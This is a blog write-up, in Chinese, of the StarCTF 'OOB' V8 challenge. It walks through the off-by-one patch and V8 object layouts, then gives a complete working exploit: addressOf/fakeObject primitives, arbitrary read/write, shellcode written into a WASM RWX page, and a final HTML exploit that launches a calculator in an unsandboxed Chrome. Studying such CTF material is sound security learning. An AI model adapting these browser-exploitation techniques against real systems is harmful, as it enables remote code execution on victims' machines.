StarCTF-OOB-WP
博客很久没有更新了,wp 更是很久没有发过了。主要是最近的确没有刷什么题,比赛虽然打的还算多,但是都没有做什么有收获的题,所以都没有发 wp,毕竟没啥意思。不过上个星期的深育杯和 l3ctf 倒是都碰到了新东西,深育杯有一个 Jerry script pwn 和 fastjson pwn。jerryscript 这个之前津门杯也碰到了,但是没有找到 wp 就一直没去复现,所以一直没搞懂,这次又碰到了,既然有官方 wp,就尝试复现一下。fastjson 那个,确实没听说过,有机会也复现一下。l3ctf 则非常时髦,一个似乎是 window 内核 pwn,确实是超出知识面了,还有一个是带 llvm address sanitizer 的 pwn,具体由于时间不够也没仔细分析。不知道官方会不会发布 wp,希望可以跟着复现一下。看来最近能弄的东西还挺多,突然又有了明确的目标了,挺好。下一步先了解一下 Jerry Script 的基本利用方式吧。
v8 的利用是很早之前就想学了,不过一直觉得自己的知识储备可能还是不够,就没有开始。先是入门了一下设计模式和编译原理,最近又翻了翻侯捷老师的《STL 源码剖析》,了解了一些 C++ GP 的设计。但是确实一直没有明确的目标,所以进展比较慢,最后还是决定不管太多,直接开始上题,不得不说做题确实是最简单的学习方式了,通过这道题也是了解了一点 v8 的对象存储结构。不过此题倒是和 v8 的编译过程没有什么关系,之后再学习吧。
这道题是一道入门 v8 pwn 题,网络上相关的资料非常多,所以这篇 wp 也只是写给自己看看,建议参考小语的 wp。
基本的出题方法
给出一个靶机跑的浏览器以及相关依赖和一个 patch 文件。这个 patch 向 v8 中埋了洞,我们要做的就是理解并利用该漏洞。
环境搭建
题目如果只给一个浏览器,那调试起来应该会非常痛苦,所以我们会根据题目的引擎版本自己构建一个对应的 debug 版本的引擎。整个构建过程比较繁琐。
安装一些依赖:
sudo apt install binutils python2.7 perl socat git build-essential gdb gdbserver
首先需要获取相关的工具链,主要需要的是 depot_tools 和 ninja。
depot_tools 可以从 github 上 clone 下来,然后加到 PATH 里面就行了
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc
ninja 不建议 apt 安装,版本太老了,最好是编译安装
git clone https://github.com/ninja-build/ninja.git
cd ninja
./configure.py --bootstrap
sudo cp ninja /usr/bin/
然后获取源码并编译
fetch v8 # 使用 depot_tools 拉取源码
cd v8
gclient sync # 更新源码,这里可以不执行,因为 depot_tools 拉取的已经是最新的了
# 编译可以直接使用提供脚本的编译,ninja 会自动使用全核进行编译
tools/dev/v8gen.py x64.debug && ninja -C out.gn/x64.debug # debug 版本
tools/dev/v8gen.py x64.release && ninja -C out.gn/x64.release # release 版本
编译出来的目标文件存于 out.gn/x64.*** 中,d8 就是引擎,直接运行会启动一个交互式的 shell,提供 js 文件就可以直接该脚本。
这个编译过程还是比较久的,为了不浪费太多人生,可以先不编译,之后直接编译题目所需的版本就可以了。
v8 同时提供里 gdb 的调试支持,位于 v8/tools/
中,在 ~/.gdbinit
中加入以下两行
source /path_to_v8/tools/gdbinit
source /path_to_v8/tools/gdb-v8-support.py
就可以启用调试支持。
主要的有 job
命令,可以显示对应地址的中对象的细节,比如对一个函数对象执行 job
,可以获得
pwndbg> job 0x2a21e74e24e1
0x2a21e74e24e1: [Function] in OldSpace
- map: 0x2e2a97744379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2a21e74c2109 <JSFunction (sfi = 0x3b2784bc3b29)>
- elements: 0x0e279b5c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x2a21e74e24a9 <SharedFunctionInfo 0>
- name: 0x0e279b5c4ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x2a21e74c1869 <NativeContext[246]>
- code: 0x118c79942001 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x2a21e74e22e9
- WASM function index 0
- properties: 0x0e279b5c0c71 <FixedArray[0]> {
#length: 0x3b2784bc04b9 <AccessorInfo> (const accessor descriptor)
#name: 0x3b2784bc0449 <AccessorInfo> (const accessor descriptor)
#arguments: 0x3b2784bc0369 <AccessorInfo> (const accessor descriptor)
#caller: 0x3b2784bc03d9 <AccessorInfo> (const accessor descriptor)
}
- feedback vector: not available
同时我们还可以通过在 js 文件中加入 %SystemBreak()
和 %DebugPrint(object)
,前者可以起到断点的作用,后者可以打出 object 的地址和类型。
漏洞分析
diff 文件如下
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
1668: Builtins::kArrayPrototypeCopyWithin, 2, false);
1669: SimpleInstallFunction(isolate_, proto, "fill",
1670: Builtins::kArrayPrototypeFill, 1, false);
1671:+ SimpleInstallFunction(isolate_, proto, "oob",
1672:+ Builtins::kArrayOob,2,false);
1673: SimpleInstallFunction(isolate_, proto, "find",
1674: Builtins::kArrayPrototypeFind, 1, false);
1675: SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
361: return *final_length;
362: }
363: } // namespace
364:+BUILTIN(ArrayOob){
365:+ uint32_t len = args.length();
366:+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
367:+ Handle<JSReceiver> receiver;
368:+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
369:+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
370:+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
371:+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
372:+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
373:+ if(len == 1){
374:+ //read
375:+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
376:+ }else{
377:+ //write
378:+ Handle<Object> value;
379:+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
380:+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
381:+ elements.set(length,value->Number());
382:+ return ReadOnlyRoots(isolate).undefined_value();
383:+ }
384:+}
385:
386: BUILTIN(ArrayPush) {
387: HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
368: TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
369: /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
370: TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
371:+ CPP(ArrayOob) \
372: \
373: /* ArrayBuffer */ \
374: /* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
1680: return Type::Receiver();
1681: case Builtins::kArrayUnshift:
1682: return t->cache_->kPositiveSafeInteger;
1683:+ case Builtins::kArrayOob:
1684:+ return Type::Receiver();
1685:
1686: // ArrayBuffer functions.
1687: case Builtins::kArrayBufferIsView:
可以看到 patch 后给内建数组添加了一个 oob 方法,该方法的实现为
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
361: return *final_length;
362: }
363: } // namespace
364:+BUILTIN(ArrayOob){
365:+ uint32_t len = args.length();
366:+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
367:+ Handle<JSReceiver> receiver;
368:+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
369:+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
370:+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
371:+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
372:+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
373:+ if(len == 1){
374:+ //read
375:+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
376:+ }else{
377:+ //write
378:+ Handle<Object> value;
379:+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
380:+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
381:+ elements.set(length,value->Number());
382:+ return ReadOnlyRoots(isolate).undefined_value();
383:+ }
384:+}
len 维护了方法调用时的参数个数。注意类似于 C++,js 中函数调用时 this 指针也会作为第一个参数传入,所以参数长度为 1 也就是没有提供参数。该方法有两种操作模式,当调用参数为 0 时,即
arr.oob()
效果就是
return arr[arr.length]
而
arr.oob(val)
效果就是
arr[arr.length] = val
可以看到这里有一个典型的栅栏错误,可以越界一个单位进行读写。
编译调试环境
题目浏览器使用的 v8 对应的 commit 版本为 6dc88c191f5ecc5389dc26efa3ca0907faef3598
先滚至题目的代码版本
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git checkout
git apply < oob.diff
然后此题如果使用 debug 模式编译,调试时据说会出现问题,为了不浪费人生,我也没编译去看到底有什么问题,就用了 release 版本,按照语神的说法,为了使用 job 等调试命令,需要在 out.gn/x64.release/args.gn
文件加入以下内容:
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
编译即可
tools/dev/v8gen.py x64.release && ninja -C out.gn/x64.release
利用
漏洞就是 8 字节溢出任意读写,这个溢出可以做什么与数组的结构有关,这里也仿照小语的博客对一些数组的类型进行调试,也可以顺便学习以下调试的方法。
var int_arr = [1, 2, 3];
var float_arr = [1.1, 1.2, 1.3];
var obj = {"a" : 1};
var object_arr = [obj, obj, obj];
var newed_arr = new Array(3);
%DebugPrint(int_arr);
%SystemBreak();
%DebugPrint(float_arr);
%SystemBreak();
%DebugPrint(object_arr);
%SystemBreak();
%DebugPrint(newed_arr);
%SystemBreak();
保存脚本到 debug.js
,使用 gdb d8
准备进行调试,首先设置参数
set args --allow-natives-syntax ./debug.js
然后 r
即可。
执行流执行到 %DebugPrint(int_arr) 的时候,就会输出 int_arr 对象的地址和类型,执行到 %SystemBreak() 时,就会自动断下
对象地址使用 job 命令即可显示出对象的属性
pwndbg> job 0x2f6f32c4dee1
0x2f6f32c4dee1: [JSArray]
- map: 0x2fd1f0cc2d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x31020c111111 <JSArray[0]>
- elements: 0x2f6f32c4ddf9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x2c53d6f40c71 <FixedArray[0]> {
#length: 0x2a585ac401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2f6f32c4ddf9 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
可以看到 DebugPrint 出来的对象地址的最低位为 1,这是因为 32 位和 64 位的地址对齐保证最低位一定为 0,v8 便使用该位标记指针所指向的对象的属性,如果被指的对象是一个 js 对象,便在最低位置 1。
观察 int_arr 的空间分布,可以看到头部有一个 map 指针,这是 v8 用来实现动态类型的核心。map 对象维护了某一对象当前的类型,引用源码注释
// All heap objects have a Map that describes their structure.
// A Map contains information about:
// - Size information about the object
// - How to iterate over an object (for garbage collection)
实际上 map 还会指导 v8 对某对象的各种操作。不难想到,如果能够伪造某对象的 map 指针,就可以实现类型混淆,达成进一步利用。
对于本题而言,为了实现修改 map,还需要了解 elements 指向的对象的结构。
同时也可见 elements 的地址是 0x2f6f32c4ddf9
,对该指针执行 job,可得(我这里新开了一次调试,所以地址有变)
pwndbg> job 0x04c54214ddf9
0x4c54214ddf9: [FixedArray]
- map: 0x09dcb47c0851 <Map>
- length: 3
0: 1
1: 2
2: 3
pwndbg> telescope 0x04c54214ddf8
00:0000│ 0x4c54214ddf8 —▸ 0x9dcb47c0851 ◂— 0x9dcb47c01
01:0008│ 0x4c54214de00 ◂— 0x300000000
02:0010│ 0x4c54214de08 ◂— 0x100000000
03:0018│ 0x4c54214de10 ◂— 0x200000000
04:0020│ 0x4c54214de18 ◂— 0x300000000
05:0028│ 0x4c54214de20 —▸ 0x9dcb47c0801 ◂— 0x9dcb47c01
06:0030│ 0x4c54214de28 ◂— 0x300000000
07:0038│ 0x4c54214de30 —▸ 0x3ade51f451 ◂— 0x9a000009dcb47c05
可以看到 elements 指向的是一个 FixedArray
类维护了数组存储数据的区域,作为一个对象,头部也存储了一个 map。第二个字段则维护了数组的长度。考虑到我们只能溢出 8 个字节,这里无法实现有效的利用。
使用 c
继续执行,查看 float_arr 的内存环境
pwndbg> job 0x04c54214df29
0x4c54214df29: [JSArray]
- map: 0x310589b82ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x003ade511111 <JSArray[0]>
- elements: 0x04c54214df01 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x09dcb47c0c71 <FixedArray[0]> {
#length: 0x159e27e801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x04c54214df01 <FixedDoubleArray[3]> {
0: 1.1
1: 1.2
2: 1.3
}
pwndbg> telescope 0x04c54214df01-1
00:0000│ 0x4c54214df00 —▸ 0x9dcb47c14f9 ◂— 0x9dcb47c01
01:0008│ 0x4c54214df08 ◂— 0x300000000
02:0010│ 0x4c54214df10 ◂— 0x3ff199999999999a
03:0018│ 0x4c54214df18 ◂— 0x3ff3333333333333
04:0020│ 0x4c54214df20 ◂— 0x3ff4cccccccccccd
05:0028│ 0x4c54214df28 —▸ 0x310589b82ed9 ◂— 0x4000009dcb47c01
06:0030│ 0x4c54214df30 —▸ 0x9dcb47c0c71 ◂— 0x9dcb47c08
07:0038│ 0x4c54214df38 —▸ 0x4c54214df01 ◂— 0x9dcb47c14
可以看到这里 elements 指向的 FixedDoubleArray
类实例和 float_arr 紧邻,通过溢出 8 个字节可以直接修改 float_arr 的 map 指针,这样就可以实现类型混淆了。
继续向下执行,可以发现对象数组的 elements 也可以实现修改 map。
利用类型混淆,可以实现 leak。仍然利用上面的调试脚本,查看对象数组的内存结构
pwndbg> job 0x04c54214dfc1
0x4c54214dfc1: [JSArray]
- map: 0x310589b82f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x003ade511111 <JSArray[0]>
- elements: 0x04c54214df99 <FixedArray[3]> [PACKED_ELEMENTS]
- length: 3
- properties: 0x09dcb47c0c71 <FixedArray[0]> {
#length: 0x159e27e801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x04c54214df99 <FixedArray[3]> {
0-2: 0x04c54214df49 <Object map = 0x310589b8ab39>
}
对象被存储在 elements 指向的 FixedArray 数组中
pwndbg> job 0x04c54214df99
0x4c54214df99: [FixedArray]
- map: 0x09dcb47c0801 <Map>
- length: 3
0-2: 0x04c54214df49 <Object map = 0x310589b8ab39>
pwndbg> telescope 0x04c54214df99-1
00:0000│ 0x4c54214df98 —▸ 0x9dcb47c0801 ◂— 0x9dcb47c01
01:0008│ 0x4c54214dfa0 ◂— 0x300000000
02:0010│ 0x4c54214dfa8 —▸ 0x4c54214df49 ◂— 0x710000310589b8ab
... ↓ 2 skipped
05:0028│ 0x4c54214dfc0 —▸ 0x310589b82f79 ◂— 0x4000009dcb47c01
06:0030│ 0x4c54214dfc8 —▸ 0x9dcb47c0c71 ◂— 0x9dcb47c08
07:0038│ 0x4c54214dfd0 —▸ 0x4c54214df99 ◂— 0x9dcb47c08
自然的,使用对象的指针来维护每个对象,所以如果把一个对象数组混淆为浮点数组,访问 object_array[i] 的时候,就会以浮点数的形式返回对象的地址。反之,向浮点数组中写入对象地址再混淆为对象数组,访问时就会直接把该地址作为一个对象返回了,由此可以写出 leak 函数和伪造对象函数
var float_arr = [1.1];
var obj = {"a" : 1};
var object_arr = [obj];
var float_arr_map = float_arr.oob();
var object_arr_map = object_arr.oob();
// get the address of obj
// @param {object} obj: obj to leak
// @return {uint64}: address of obj
function addressOf(obj) {
object_arr[0] = obj;
object_arr.oob(float_arr_map);
let address = object_arr[0];
object_arr.oob(object_arr_map);
return f2i(address);
}
// return a object which address is `address`
// return object (*address);
// @param {uint64} address
// @return {object}
function fakeObject(address) {
float_arr[0] = i2f(address);
float_arr.oob(object_arr_map);
let obj = float_arr[0];
float_arr.oob(float_arr_map);
return obj;
}
为了转换浮点数和地址,可以实现两个工具函数
var buf = new ArrayBuffer(8);
var float64 = new Float64Array(buf);
var uint64 = new BigUint64Array(buf);
// @param {float64} float_num
// @return {uint64}
function f2i(float_num) {
float64[0] = float_num;
return uint64[0];
}
// @param {uint64} uint64_num
// @return {float64}
function i2f(uint64_num) {
uint64[0] = uint64_num;
return float64[0];
}
既然可以 leak 和伪造对象了,就可以考虑任意地址读写了。我们可以在一个数组中伪造一个数组对象,leak 出该对象地址,通过之前实现的对象伪造就可以获得一个 elements 指向任意地址的数组了。通过该数组就可以实现任意地址读写。
var rw_tool = [
// map
float_arr_map,
// prototype
i2f(0n),
// elements
i2f(0xBEEFDEADn),
// length
i2f(0x1000000000n),
1.1,
1.2
];
var rw_tool_addr = addressOf(rw_tool);
console.log("rw_tool_addr: 0x" + rw_tool_addr.toString(16));
var arbitary_rw_obj = fakeObject(rw_tool_addr - 0x30n);
// return *((uint64*) address)
// @param {uint64} address
// @return {uint64}
function read64(address) {
rw_tool[2] = i2f(address - 0x10n + 1n);
return f2i(arbitary_rw_obj[0]);
}
// *((uint64*) address) = val
// @param {uint64} address
// @param {uint64} val
function write64(address, val) {
rw_tool[2] = i2f(address - 0x10n + 1n);
arbitary_rw_obj[0] = i2f(val);
}
任意地址读写后的利用,可以通过 Linux 用户态 pwn 常用的 leak 后攻击各种 hook 指针劫持执行流,这种方式最重要的是要 leak 出进程的基址。一般的套路为,对于一个 js 数组 a=[1],在 a->map->constructor->code
的固定偏移处,存在一条指令将进程的地址 mov 到寄存器中,通过读该处的内存即可实现 leak。
不过这里也可以通过 shellcode 实现利用,与 wasm 有关。利用这个网站可以生成一段 wasm 码,我们可以这样来生成一个函数对象
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
在 f->shared_info->data->instance
的固定偏移处(这个偏移据说与许多东西相关,可以通过调试得出,这里是 0x88),储存了一个 rwx 的内存段的地址,这个内存段本身是为了 f 的调用的,由于我们可以任意地址写,所以向这里写入 shellcode,调用 f 后就可以任意代码执行了。
首先 leak 出内存段地址
addr_f = addressOf(f);
console.log(f());
console.log("f_addr: 0x" + addr_f.toString(16));
var shared_info_addr = read64(addr_f - 1n + 0x18n)
console.log("shared_info_addr: 0x" + shared_info_addr.toString(16));
var data_addr = read64(shared_info_addr -1n + 0x8n)
console.log("data_addr: 0x" + data_addr.toString(16));
var instance_addr = read64(data_addr -1n + 0x10n)
console.log("instance_addr: 0x" + instance_addr.toString(16));
var rwx_addr = read64(instance_addr - 1n + 0x88n)
console.log("rwx_addr: 0x" + rwx_addr.toString(16));
然后需要生成一段 shellcode,这里使用了小语写的脚本生成
#!/usr/bin/env python
# coding=utf-8
# 小语写的脚本
from pwn import *
def just8(data):
size = len(data)
real_size = size if size % 8 == 0 else size + (8 - size % 8)
return data.ljust(real_size, '\x00')
def to_js(data):
ret = 'var sc_arr = ['
for i in range(0, len(data), 8):
if (i // 8) % 4 == 0:
ret += '\n'
x = u64(data[i:i+8])
ret += '\t' + hex(x) + 'n,'
ret += '\n]\n'
return ret
def call_exec(path, argv, envp):
sc = ''
sc += shellcraft.pushstr(path)
sc += shellcraft.mov('rdi', 'rsp')
sc += shellcraft.pushstr_array('rsi', argv)
sc += shellcraft.pushstr_array('rdx', envp)
sc += shellcraft.syscall('SYS_execve')
return sc
context.os = 'linux'
context.arch = 'amd64'
sc = ''
sc = call_exec('/usr/bin/xcalc', ['xcalc'], ['DISPLAY=:0'])
print(sc)
data = asm(sc)
data = just8(data)
print(to_js(data))
为了证明利用的完成,这里调用的是一个计算器,为了执行图形程序,需要设置 DISPLAY 环境变量,一般置为 0 即可。
执行脚本后可以得到这样一个数组
var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
之后如果直接使用之前实现的 write64 函数会出现一个段错误。小语说这是 write64
FloatArray 对浮点数的处理方式造成的,当值以 0x7f 开头等高处的地址都会出现这种问题,小语说可以使用 DataView 来改写任意写的方式来解决了这个问题。
小语说 DataView 对象偏移 +0x20
处,存有一个 backing_store 指针,该指针指向真正存储数据的地址,改写这个指针即可任意读写,而且不会发生 FloatArray 出现的问题,他写了个 poc
var buffer = new ArrayBuffer(16);
var data_view = new DataView(buffer);
var buf_backing_store_addr = addressOf(buffer) - 1n + 0x20n;
function write64_view(addr, value)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(value), true);
}
利用这种方式就可以写 shellcode 了。
var dataview_buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(dataview_buffer);
var buf_backing_store_addr = addressOf(dataview_buffer) -1n + 0x20n
write64(buf_backing_store_addr, rwx_addr);
for(let i = 0; i < sc_arr.length; i++) {
data_view.setFloat64(i * 8, i2f(sc_arr[i]), true);
}
最后整理成为一个 html 文件
<script>
var float_arr = [1.1];
var obj = {"a" : 1};
var object_arr = [obj];
var float_arr_map = float_arr.oob();
var object_arr_map = object_arr.oob();
// get the address of obj
// @param {object} obj: obj to leak
// @return {uint64}: address of obj
function addressOf(obj) {
object_arr[0] = obj;
object_arr.oob(float_arr_map);
let address = object_arr[0];
object_arr.oob(object_arr_map);
return f2i(address);
}
// return a object which address is `address`
// return object (*address);
// @param {uint64} address
// @return {object}
function fakeObject(address) {
float_arr[0] = i2f(address);
float_arr.oob(object_arr_map);
let obj = float_arr[0];
float_arr.oob(float_arr_map);
return obj;
}
var buf = new ArrayBuffer(8);
var float64 = new Float64Array(buf);
var uint64 = new BigUint64Array(buf);
// @param {float64} float_num
// @return {uint64}
function f2i(float_num) {
float64[0] = float_num;
return uint64[0];
}
// @param {uint64} uint64_num
// @return {float64}
function i2f(uint64_num) {
uint64[0] = uint64_num;
return float64[0];
}
var rw_tool = [
// map
float_arr_map,
// prototype
i2f(0n),
// elements
i2f(0xBEEFDEADn),
// length
i2f(0x1000000000n),
1.1,
1.2
];
var rw_tool_addr = addressOf(rw_tool);
console.log("rw_tool_addr: 0x" + rw_tool_addr.toString(16));
var arbitary_rw_obj = fakeObject(rw_tool_addr - 0x30n);
// return *((uint64*) address)
// @param {uint64} address
// @return {uint64}
function read64(address) {
rw_tool[2] = i2f(address - 0x10n + 1n);
return f2i(arbitary_rw_obj[0]);
}
// *((uint64*) address) = val
// @param {uint64} address
// @param {uint64} val
function write64(address, val) {
rw_tool[2] = i2f(address - 0x10n + 1n);
arbitary_rw_obj[0] = i2f(val);
}
/*
// *((uint64*) address) = val
// @param {uint64} address
// @param {uint64} val
function write64_view(address, val) {
write64(buf_backing_store_addr, address);
// data_view.setBigUint64(0, val, true);
data_view.setFloat64(0, i2f(val), true);
}
*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
addr_f = addressOf(f);
console.log(f());
console.log("f_addr: 0x" + addr_f.toString(16));
var shared_info_addr = read64(addr_f - 1n + 0x18n)
console.log("shared_info_addr: 0x" + shared_info_addr.toString(16));
var data_addr = read64(shared_info_addr -1n + 0x8n)
console.log("data_addr: 0x" + data_addr.toString(16));
var instance_addr = read64(data_addr -1n + 0x10n)
console.log("instance_addr: 0x" + instance_addr.toString(16));
var rwx_addr = read64(instance_addr - 1n + 0x88n)
console.log("rwx_addr: 0x" + rwx_addr.toString(16));
var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
var dataview_buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(dataview_buffer);
var buf_backing_store_addr = addressOf(dataview_buffer) -1n + 0x20n
write64(buf_backing_store_addr, rwx_addr);
for(let i = 0; i < sc_arr.length; i++) {
data_view.setFloat64(i * 8, i2f(sc_arr[i]), true);
}
f();
</script>
直接起 chrome 会触发沙盒,无法执行 execve,本题本身不考察沙盒绕过,所以用无沙盒模式启动就可以了,即
./chrome --no-sandbox
拖入 exp,即可弹出计算器